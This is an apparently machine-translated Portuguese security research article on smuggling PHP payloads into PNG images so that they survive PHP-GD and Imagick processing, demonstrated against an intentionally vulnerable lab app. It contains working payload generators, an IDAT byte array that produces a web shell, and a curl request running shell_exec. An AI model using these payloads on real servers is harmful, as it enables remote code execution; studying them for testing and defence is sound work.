Ao avaliar um aplicativo PHP, recentemente encontramos uma vulnerabilidade de upload de arquivo que poderia interpretar o código PHP incorporado em arquivos PNG reais. No entanto, o processamento de imagem feito pelo aplicativo nos obrigou a mergulhar nas várias técnicas disponíveis para injetar uma carga PHP neste formato de arquivo específico - e fazer com que ela persista por meio de transformações de imagem. Esses estudos nos permitiram explorar com sucesso a vulnerabilidade e são brevemente descritos neste artigo.
Introdução
Os recursos de upload de imagem são extremamente comuns em aplicativos da web: se você deseja definir sua foto de perfil, ilustrar uma postagem de blog ou mostrar ao mundo sua espécie favorita de albatroz, o aplicativo precisará trabalhar com imagens fornecidas pelo usuário. No entanto, pequenos erros na configuração do servidor subjacente ou a exploração de vulnerabilidades secundárias podem permitir que um invasor injete código malicioso em arquivos de imagem carregados por meio de tais funções e force o servidor a executá-lo. Isso pode ser especialmente perigoso para aplicativos PHP e levar à execução remota de código por meio da interpretação de código PHP arbitrário. Por esta razão, ao testar aplicativos PHP, é especialmente importante ter um conhecimento preciso das várias técnicas disponíveis para um invasor, para empurrar cargas PHP através de arquivos de imagem - mesmo em situações potencialmente complicadas. É disso que trata este artigo. Embora não represente nenhuma nova técnica revolucionária, seu objetivo é fornecer um exemplo concreto de várias técnicas conhecidas de transferência de carga útil que podem ser usadas por um invasor para obter a execução arbitrária do código PHP.
0. Contexto, aplicativo vulnerável e preparação do laboratório
Esta seção descreve o cenário em questão. Estamos avaliando um aplicativo PHP simples construído no Symfony que permite que seus usuários façam upload de imagens e, em seguida, aloquem essas imagens no sistema de arquivos para exibição. O código-fonte deste aplicativo está disponível no seguinte repositório: https://github.com/synacktiv/astrolock .
Aqui está a aparência de uma página do aplicativo (ignore o design questionável):
Conforme mostrado na captura de tela acima, o aplicativo permite que o usuário adicione um traje espacial por meio do formulário na parte superior usando uma imagem PNG. O traje será exibido na parte inferior.
A estrutura do aplicativo é bastante simples:
src\Entity\Suit.php e src\Repository\SuitRepository.php manipulam os objetos "suit" que serão armazenados no banco de dados com seu título, descrição e nome da imagem associada.
src\Form\SuitType.php é usado para definir um formulário que permite aos usuários fazer upload de fatos.
src\Controller\HomeController.php é o controlador principal do aplicativo.
Aqui estão os pré-requisitos para executar o aplicativo:
Symfony (testado com Symfony 6.1) e PHP (testado com PHP 8.1).
Driver PHP Sqlite3 (pacote php8.1-sqlite3 para sistemas Debian).
PHP-GD (para as partes 2. e 3. do artigo).
Imagick (para a parte 4 do artigo).
Quando todos os requisitos forem atendidos, execute estes comandos para executar o aplicativo localmente na porta 8000:
$ git clone https://github.com/synacktiv/astrolock
$ cd astrolock
$ composer install
$ php -S localhost:8000
1. De volta ao básico: injeção simples em arquivos PNG
Esta parte descreverá a maneira mais fácil e básica de injetar uma carga PHP em uma imagem PNG, resultando na execução de código PHP arbitrário. Quando o usuário carrega uma foto do traje espacial usando: src\Controller\HomeController.php - public function
# Create the 'suit' object and link it to the Symfony form
$suit = new Suit();
$form = $this->createForm(SuitType::class, $suit);
$form->handleRequest($request);
# The form is submitted and valid if the user defined a title, a description,
# and uploaded a file with the PNG MIME type
if ($form->isSubmitted() && $form->isValid()) {
# Get the file uploaded through the form
$suitFile = $form->get('suit')->getData();
# Build a unique filename from original filename
$originalFilename = $suitFile->getClientOriginalName();
$newFilename = uniqid().'_'.$originalFilename;
# Store the uploaded file with the unique filename on the webservers in the
# thumbnails directory, which is simply {web_root}/suits_thumbnails/
try {
$suitFile->move(
$this->getParameter('thumbnails_directory'),
$newFilename
);
$suit->setSuitFilename($newFilename);
} catch (FileException $e) {
return new Response("File exception");
}
# Store the 'suit' object in the database to persist it
$entityManager->persist($suit);
$entityManager->flush();
return $this->redirectToRoute('app_home_homepage');
}
É bem simples: o formulário da web espera um título, uma descrição e um arquivo PNG válido. O aplicativo pegará os dados do arquivo de imagem carregado, criará um nome de arquivo exclusivo a partir do nome original e simplesmente armazenará o arquivo no sistema de arquivos (no diretório {web root}/suits_thumbnails/, que é público). Digamos que um usuário tenha carregado um traje da NASA no site com o nome original nasa.png. Em seguida, ele será exibido na página principal do aplicativo, e a imagem associada ao traje estará disponível em uma URL com o seguinte formato:
http://localhost:8000/suits_thumbnails/633d51fa76f2c_nasa.png
Até agora tudo bem. No entanto, a função de processamento de imagem neste primeiro método é uma vulnerabilidade crítica. Como o aplicativo usa o nome original da imagem carregada para armazená-la, o usuário controla a extensão do arquivo da imagem no servidor da web. Um invasor pode facilmente nomear o arquivo nasa.php e enviá-lo para o aplicativo: então ele será armazenado no servidor da Web como: http://localhost:8000/suits_thumbnails/633d51fa76f2c_nasa.php
Se este arquivo contiver código PHP válido, ele será executado pelo servidor a pedido do usuário. A única restrição é que este arquivo deve ser um arquivo PNG válido, já que o formulário do Symfony verifica o tipo MIME da imagem carregada: um invasor não pode simplesmente criar um script PHP simples; ele deve incorporá-lo em uma imagem válida. Duas técnicas triviais de injeção de PHP podem ser utilizadas na configuração desta primeira rota.
Comentários PNG.
O formato de imagem PNG permite adicionar comentários ao arquivo para armazenar vários metadados (consulte a documentação do PNG). Eles são fáceis de definir e são o local perfeito para injetar nossa carga PHP. Por exemplo, você pode definir um comentário usando o exiftool da seguinte maneira:
$ exiftool -comment="<?php phpinfo(); ?>" nasa.png
Para confirmar a injeção de nosso payload no arquivo nasa.png, podemos visualizar os dados contidos no arquivo em formato hexadecimal com um simples xxd nasa.png.
$ xxd nasa.png
00000000: 8950 4e47 0d0a 1a0a 0000 000d 4948 4452 .PNG........IHDR
00000010: 0000 0100 0000 0100 0802 0000 00d3 103f ...............?
[...]
00000150: 4800 0000 011f 52f7 3400 0000 1b74 4558 H.....R.4....tEX
00000160: 7443 6f6d 6d65 6e74 003c 3f70 6870 2070 tComment.<?php p
00000170: 6870 696e 666f 2829 3b20 3f3e b630 4e85 hpinfo(); ?>.0N.
00000180: 0000 8000 4944 4154 78da ecfd 6794 64e7 ....IDATx...g.d.
[...]
Tudo o que resta a fazer é renomear nasa.png para nasa.php, carregá-lo no aplicativo e acessá-lo por meio da pasta pública {web root}/suits_thumbnails. O servidor web interpretará o arquivo como um script PHP, ignorará todos os dados legítimos no arquivo PNG original e simplesmente executará nossa carga PHP, que será encontrada na seção de comentários do arquivo.
Inserção inacabada.
Um método ainda mais trivial pode ser usado nesta primeira configuração para injetar nossa carga PHP em um PNG. Você pode simplesmente adicionar o código PHP após os dados do arquivo PNG de origem:
$ echo '<?php phpinfo(); ?>' >> nasa.png && mv nasa.png nasa.php
Mesmo com nossa carga PHP inserida no final, o tipo MIME do arquivo ainda é considerado image/png. Como o arquivo é carregado no servidor da web como está, sem nenhum processamento adicional, a carga do PHP permanecerá no arquivo. Ele será executado pelo servidor da mesma forma que no primeiro método acima.
2. Superando a compactação de imagem PHP-GD
Na maioria das vezes, no entanto, os arquivos de imagem não são armazenados como estão no servidor, conforme sugerido na primeira parte do artigo. As imagens são redimensionadas, compactadas ou codificadas em formatos de arquivo específicos usando algumas das bibliotecas PHP padrão, como PHP-GD. O método /second-part ilustra um cenário um pouco mais realista - e complexo - para um invasor. Antes de salvar os arquivos enviados pelo usuário, o aplicativo usa a função PHP-GD imagepng para compactar todas as imagens enviadas para o servidor web. Esta é uma operação bastante comum. Para fazer isso, duas linhas foram adicionadas à função de processamento de imagem: src\Controller\HomeController.php - public function
[...]
if ($form->isSubmitted() && $form->isValid()) {
# Get the file uploaded through the form
$suitFile = $form->get('suit')->getData();
# Build a unique filename from the original filename
$originalFilename = $suitFile->getClientOriginalName();
$newFilename = uniqid().'_'.$originalFilename;
try {
# Compress the uploaded PNG (level 9 of the zlib library) and save it
$source = imagecreatefrompng($suitFile->getPathName());
imagepng($source, $this->getParameter('thumbnails_directory').'/'.
$newFilename, 9);
$suit->setSuitFilename($newFilename);
} catch (FileException $e) {
return new Response("Exception in image processing");
}
[...]
Em comparação com o cenário descrito na primeira parte do artigo, agora temos uma limitação adicional. O arquivo carregado ainda deve ser um arquivo PNG válido; mas agora nossa carga útil deve ser preservada pelo processamento de imagem do PHP-GD (ou seja, pela compactação imagepng). Embora as duas abordagens "ingênuas" anteriores não sobrevivam à compactação de imagem, outro método mais sutil nos permitirá passar com sucesso nossa carga útil do PHP, apesar dessa transformação de imagem específica.
Bloco PLTE.
Um arquivo PNG contém dois tipos de blocos: blocos auxiliares (que não são necessários para formar um PNG válido) e blocos críticos (que são necessários em um arquivo PNG) - consulte a especificação do PNG para obter mais detalhes. Ao compactar um arquivo PNG, o PHP-GD (e possivelmente outras bibliotecas de compactação de imagem) remove os blocos auxiliares para reduzir o tamanho do arquivo de saída. É por isso que os comentários onde inserimos nossa carga PHP na primeira parte não sobreviveram ao processo de compactação. Mas e se pudéssemos injetar nossa carga útil em uma parte crítica de um arquivo PNG? Obviamente, esses fragmentos não são destruídos quando a imagem é compactada. O candidato ideal para tal injeção é o bloco PLTE, o bloco crítico que contém a paleta da imagem PNG, ou seja, lista de cores. De acordo com a especificação PNG:
" O bloco PLTE contém de 1 a 256 entradas de paleta, cada uma das quais é uma série de três bytes da seguinte forma:
Vermelho: 1 byte (0 = preto, 255 = vermelho)
Verde: 1 byte (0 = preto, 255 = verde)
Azul: 1 byte (0 = preto, 255 = azul).
O número de entradas é determinado pelo comprimento do bloco. Um comprimento de bloco que não seja múltiplo de 3 é um erro. "
Usando um bloco PLTE, temos potencialmente 256 * 3 bytes para incorporar nossa carga útil em um bloco crítico, o que deve ser mais do que suficiente. A única limitação é que o comprimento da carga útil deve ser um múltiplo de 3. Juntando tudo, aqui está o PHP - um script que criará uma imagem PNG maliciosa com a carga PHP especificada como o primeiro argumento e a inserirá no bloco PLTE.
payloads/generators/generate_plte_png.php
<?php
if(count($argv) != 3) exit("Usage $argv[0] <PHP payload> <Output file>");
$_payload = $argv[1];
$output = $argv[2];
while (strlen($_payload) % 3 != 0) { $_payload.=" "; }
$_pay_len=strlen($_payload);
if ($_pay_len > 256*3){
echo "FATAL: The payload is too long. Exiting...";
exit();
}
if($_pay_len %3 != 0){
echo "FATAL: The payload isn't divisible by 3. Exiting...";
exit();
}
$width=$_pay_len/3;
$height=20;
$im = imagecreate($width, $height);
$_hex=unpack('H*',$_payload);
$_chunks=str_split($_hex[1], 6);
for($i=0; $i < count($_chunks); $i++){
$_color_chunks=str_split($_chunks[$i], 2);
$color=imagecolorallocate($im, hexdec($_color_chunks[0]), hexdec($_color_chunks[1]),hexdec($_color_chunks[2]));
imagesetpixel($im,$i,1,$color);
}
imagepng($im,$output);
Vamos executar o script:
$ php gen.php '<?php phpinfo(); ?>' nasa.php
Agora podemos carregar a imagem PNG resultante por meio da rota /second-part. Acessar a imagem baixada - e compactada - do servidor web executará nosso payload PHP, demonstrando assim sua persistência através da transformação de imagem realizada pelo PHP-GD:
3. Lidando com o redimensionamento de imagens no PHP-GD
Outra operação comum que as aplicações web realizam ao trabalhar com imagens é redimensioná-las para padronizar seu formato. Para fazer isso, um aplicativo pode, por exemplo, usar as funções PHP-GD imagecopyresized ou imagecopyresampled.
Este exemplo mostra um cenário em que o aplicativo de destino compacta e redimensiona arquivos de entrada PNG antes de salvá-los. src\Controller\HomeController.php - função pública
[...]
if ($form->isSubmitted() && $form->isValid()) {
# Get the file uploaded through the form
$suitFile = $form->get('suit')->getData();
# Build a unique filename from original filename
$originalFilename = $suitFile->getClientOriginalName();
$newFilename = uniqid().'_'.$originalFilename;
try {
# Compress the uploaded PNG (level 9 of the zlib library),
# resize it and save it
$filename = $suitFile->getPathName();
list($width, $height) = getimagesize($filename);
$source = imagecreatefrompng($filename);
$thumb = imagecreatetruecolor(55, 55);
imagecopyresampled($thumb, $source, 0, 0, 0, 0, 55, 55, $width, $height);
imagepng($thumb, $this->getParameter('thumbnails_directory').'/'.$newFilename);
$suit->setSuitFilename($newFilename);
} catch (FileException $e) {
return new Response("Exception in image processing");
}
[...]
Essa configuração adiciona outra camada de complexidade para os invasores. O redimensionamento da imagem destrói até mesmo o conteúdo de blocos críticos, como o bloco PLTE, e com ele nossa carga útil. Na verdade, essas funções criam uma imagem totalmente nova usando apenas os dados de pixel do arquivo original. Dados críticos ou auxiliares contidos em partes do arquivo de origem (além daqueles que definem dados de pixel) provavelmente serão ignorados: os dados de pixel do arquivo PNG fornecido.
Bloco IDAT.
Um método bastante complicado, mas eficaz, para incorporar uma carga PHP persistente em arquivos PNG é codificá-la em PNG IDAT. Esses blocos contêm os dados da imagem real, ou seja, Pixels PNG, representados por 3 bytes para canais de cores RGB. Ao criar blocos IDAT, os pixels de 3 bytes são primeiro processados por filtros lineares PNG e depois compactados usando o algoritmo DEFLATE. Para criar um pedaço IDAT contendo código PHP válido, você precisa encontrar a combinação exata de pixels brutos que, após serem processados por filtros lineares PNG e pelo algoritmo DEFLATE, produzem a carga útil desejada. Essa combinação dependerá do tamanho para o qual a imagem PNG será redimensionada. Para informações técnicas mais detalhadas, nos referimos a estes dois artigos,
<?php
header('Content-Type: image/png');
$p = array(0xA3, 0x9F, 0x67, 0xF7, 0x0E, 0x93, 0x1B, 0x23, 0xBE, 0x2C, 0x8A, 0xD0, 0x80, 0xF9, 0xE1, 0xAE, 0x22, 0xF6, 0xD9, 0x43, 0x5D, 0xFB, 0xAE, 0xCC, 0x5A, 0x01, 0xDC, 0xAA, 0x52, 0xD0, 0xB6, 0xEE, 0xBB, 0x3A, 0xCF, 0x93, 0xCE, 0xD2, 0x88, 0xFC, 0x69, 0xD0, 0x2B, 0xB9, 0xB0, 0xFB, 0xBB, 0x79, 0xFC, 0xED, 0x22, 0x38, 0x49, 0xD3, 0x51, 0xB7, 0x3F, 0x02, 0xC2, 0x20, 0xD8, 0xD9, 0x3C, 0x67, 0xF4, 0x50, 0x67, 0xF4, 0x50, 0xA3, 0x9F, 0x67, 0xA5, 0xBE, 0x5F, 0x76, 0x74, 0x5A, 0x4C, 0xA1, 0x3F, 0x7A, 0xBF, 0x30, 0x6B, 0x88, 0x2D, 0x60, 0x65, 0x7D, 0x52, 0x9D, 0xAD, 0x88, 0xA1, 0x66, 0x94, 0xA1, 0x27, 0x56, 0xEC, 0xFE, 0xAF, 0x57, 0x57, 0xEB, 0x2E, 0x20, 0xA3, 0xAE, 0x58, 0x80, 0xA7, 0x0C, 0x10, 0x55, 0xCF, 0x09, 0x5C, 0x10, 0x40, 0x8A, 0xB9, 0x39, 0xB3, 0xC8, 0xCD, 0x64, 0x45, 0x3C, 0x49, 0x3E, 0xAD, 0x3F, 0x33, 0x56, 0x1F, 0x19 );
$img = imagecreatetruecolor(110, 110);
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3)*2, 0, $color);
imagesetpixel($img, round($y / 3)*2+1, 0, $color);
imagesetpixel($img, round($y / 3)*2, 1, $color);
imagesetpixel($img, round($y / 3)*2+1, 1, $color);
}
imagepng($img);
?>
Agora podemos usar este script para gerar uma imagem PNG maliciosa:
$ php generate_idat_png.php > nasa.php
Vamos baixar o arquivo e tentar executar o web shell contido na miniatura resultante. A seguinte solicitação HTTP deve resultar no comando uname -a:
$ curl -XPOST -d '1=uname -a' 'http://localhost:46269/suits_thumbnails/633d98ca0c846_nasa.php?0=shell_exec'
Como você pode ver na captura de tela acima, o comando uname -a está sendo executado. Isso significa que nossa carga PHP escondida no pedaço IDAT da imagem PNG sobreviveu às transformações que o PHP-GD executou na imagem quando criou a miniatura. Por mais eficiente que seja o método de injeção de fragmentos IDAT, deve-se notar que encontrar uma carga útil adequada que possa superar os filtros lineares PNG e o algoritmo DEFLATE não é um processo fácil. A saída compactada deve ser uma string legível e começar em um limite de byte, o que nem sempre é o caso. Além disso, a combinação correta de pixels brutos a usar mudará constantemente, dependendo das dimensões executadas pelo aplicativo de destino.
4. Derrotando o redimensionamento de imagem Imagick
Vamos considerar o último cenário. Até agora, vimos apenas o processamento de imagem feito pelo PHP-GD. Embora essa biblioteca seja frequentemente usada para manipulação de imagens em PHP, outras bibliotecas populares de processamento de imagens são usadas regularmente em aplicativos da web. Cada biblioteca lida com imagens, comprime e redimensiona-as de maneira um pouco diferente, o que abre novas possibilidades para contrabandear pagamentos PHP persistentes para arquivos PNG. Uma das bibliotecas de processamento de imagem mais populares junto com o PHP-GD é Imagick, a implementação PHP do ImageMagick. A rota /quarta parte ilustra um aplicativo que a utiliza para redimensionar arquivos carregados pelo usuário usando a função thumbnailImage. src\Controller\HomeController.php - função pública
if ($form->isSubmitted() && $form->isValid()) {
# Get the file uploaded through the form
$suitFile = $form->get('suit')->getData();
if ($suitFile) {
$originalFilename = $suitFile->getClientOriginalName();
$newFilename = uniqid().'_'.$originalFilename;
try {
# Turn the file into a 55x55 thumbnail using Imagick
$filename = $suitFile->getPathName();
$imgck = new Imagick($filename);
$imgck->thumbnailImage(55, 55, true, true);
$imgck->writeImage($this->getParameter('thumbnails_directory')."/".
$newFilename);
$suit->setSuitFilename($newFilename);
} catch (Exception $e) {
return New Response("Exception in image processing");
}
}
Ao redimensionar uma imagem com Imagick (via thumbnailImage ou funções semelhantes como resizeImage), as limitações inicialmente parecem ser as mesmas da biblioteca PHP-GD: uma carga útil inserida diretamente em um arquivo, em um comentário PNG ou em seu bloco PLTE , serão sistematicamente destruídas as transformações de imagem.
No entanto, o processamento de imagens Imagick tem suas próprias especificidades, o que nos permitirá usar um método muito mais conveniente do que a injeção inteligente de dados IDAT.
pedaço tEXt.
De acordo com a especificação PNG:
" Pedaços [...] tEXt [...] são usados para transmitir informações de texto associadas a uma imagem [...]. Cada um dos blocos de texto contém como primeiro campo uma palavra-chave que identifica o tipo de informação representada pelo string de texto. As palavras-chave a seguir são predefinidas e devem ser usadas quando apropriado:
Título Título curto (uma linha) ou legenda para a imagem
Autor Nome do criador da imagem
Descrição Descrição da imagem (possivelmente longa)
Aviso de direitos autorais
Hora de criação Hora de criação da imagem original
Software Software usado para criar a imagem
Isenção de responsabilidade Isenção de responsabilidade legal
Aviso Aviso sobre a natureza do conteúdo
Fonte O dispositivo usado para criar a imagem
Comentário Vários comentários; conversão de
Outras palavras-chave podem ser inventadas para outros fins."
Como podemos ver, os comentários PNG que usamos para o [Método n1] nada mais são do que um bloco especial predefinido do tipo tEXt. É particularmente interessante notar que, quando o Imagick redimensiona uma imagem, ele na verdade executa várias ações nos blocos de texto:
Apaga os blocos de texto marcados como 'Comentário'.
Substitua o valor dos seguintes fragmentos tEXt (ou defina-os se não existirem): date:create, date:modify, software, Thumb: :Document::Pages, Thumb::Image::Height, Thumb::Image: :Width, Thumb::Mimetype, Thumb::MTime, Thumb::Size, Thumb::URI.
Mantenha o valor original de todos os outros fragmentos tEXt (incluindo aqueles que não contêm a palavra-chave predefinida).
A partir daqui, podemos simplesmente colocar nossa carga PHP em qualquer fragmento tEXt que não seja do tipo 'Comentário' e que não seja sobrescrito pelo Imagick. Abaixo, você encontrará um script muito simples que receberá uma imagem PNG como entrada, inserirá uma carga PHP arbitrária em um bloco tEXt com a tag 'Synacktiv' e colocará o
PNG resultante no arquivo de saída: payloads/generators/generate_tEXt_png.php
<?php
if(count($argv) != 4) exit("Usage $argv[0] <Input file> <PHP payload> <Output file>");
$input = $argv[1];
$_payload = $argv[2];
$output = $argv[3];
$imgck = new Imagick($input);
$imgck->setImageProperty("Synacktiv", $_payload);
$imgck->writeImage($output);
Vamos executar o script
$ php gen_tEXt.php 'nasa.png' '<?php phpinfo(); ?>' 'nasa.php'
Agora podemos carregar o arquivo nasa.php resultante usando a rota /quarta parte do aplicativo. Quando solicitamos a imagem redimensionada, podemos ver que nosso payload foi realmente executado, demonstrando que o payload foi salvo durante o processo de redimensionamento da imagem do Imagick:
Conclusão
Antes de concluirmos este estudo, aqui está uma tabela que resume os vários métodos e cenários que abordamos.
Sem processamento Compressão PHP-GD Redimensionando PHP-GD Redimensionamento do Imagick
comentários PNG ✅ ❌ ❌ ❌
inserção bruta ✅ ❌ ❌ ❌
fragmento PLTE ✅ ✅ ❌ ❌
Pedaço de IDAT ✅ ✅ ✅ ✅
bloco de texto ✅ ❌ ❌ ✅
As várias configurações descritas neste artigo nos permitiram fornecer uma imagem precisa (sem trocadilhos) dos vários métodos de contrabando de PHP disponíveis para um invasor. Esses métodos podem ser usados quando for possível fazer com que o servidor interprete o arquivo de imagem como PHP. Essa situação pode ocorrer por vários motivos (por exemplo, devido à verificação de extensão fraca ou vulnerabilidade de inclusão de arquivo local) e com mais frequência do que se poderia esperar. Nesse caso, seria perigoso presumir que o processamento e as transformações de imagem podem proteger um aplicativo da execução de cargas arbitrárias do PHP.